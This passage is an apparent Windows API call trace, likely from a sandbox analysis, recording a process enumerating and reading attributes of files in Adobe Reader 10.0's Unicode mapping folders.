cAlternateFileName="")) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JISX0213.txt", cAlternateFileName="")) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x288d, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.txt", cAlternateFileName="")) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 0 [0084.538] GetLastError () returned 0x12 [0084.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0d90) returned 1 [0084.538] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0e98) returned 1 [0084.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0c88) returned 1 [0084.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0084.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0c88 [0084.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0084.540] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0084.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.540] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0084.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.541] NtClose (Handle=0x15c) returned 0x0 [0084.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0c88) returned 1 [0084.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0c88 [0084.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0e98 [0084.542] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f40 [0084.585] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.585] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARABIC.TXT", cAlternateFileName="")) returned 1 [0084.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0d90 [0084.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef908 [0084.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e15d0 [0084.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.588] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3294, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTEURO.TXT", cAlternateFileName="")) returned 1 [0084.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef928 [0084.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e16d8 [0084.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.590] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31aa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINSIMP.TXT", cAlternateFileName="")) returned 1 [0084.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef948 [0084.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e17e0 [0084.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.591] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINTRAD.TXT", cAlternateFileName="")) returned 1 [0084.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef968 [0084.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e18e8 [0084.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.593] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPCHAR.TXT", cAlternateFileName="")) returned 1 [0084.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef988 [0084.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e19f0 [0084.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.595] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x34f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CROATIAN.TXT", cAlternateFileName="")) returned 1 [0084.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef9a8 [0084.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e1af8 [0084.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.596] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3478, dwReserved0=0x0, dwReserved1=0x0, cFileName="CYRILLIC.TXT", cAlternateFileName="")) returned 1 [0084.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef9c8 [0084.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e1c00 [0084.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.598] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6145, dwReserved0=0x0, dwReserved1=0x0, cFileName="FARSI.TXT", cAlternateFileName="")) returned 1 [0084.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef9e8 [0084.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e1d08 [0084.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.600] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x342b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREEK.TXT", cAlternateFileName="")) returned 1 [0084.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efa08 [0084.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e1e10 [0084.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.602] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEBREW.TXT", cAlternateFileName="")) returned 1 [0084.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efa28 [0084.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e1f18 [0084.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.603] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x377c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICELAND.TXT", cAlternateFileName="")) returned 1 [0084.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efa48 [0084.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2020 [0084.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.652] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x320dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAPANESE.TXT", cAlternateFileName="")) returned 1 [0084.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efa68 [0084.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2128 [0084.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.654] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x591cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOREAN.TXT", cAlternateFileName="")) returned 1 [0084.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efa88 [0084.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2230 [0084.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7f40) returned 0x12ea380 [0084.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0084.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.656] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3857, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMAN.TXT", cAlternateFileName="")) returned 1 [0084.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efaa8 [0084.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2338 [0084.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.657] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMANIAN.TXT", cAlternateFileName="")) returned 1 [0084.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.658] 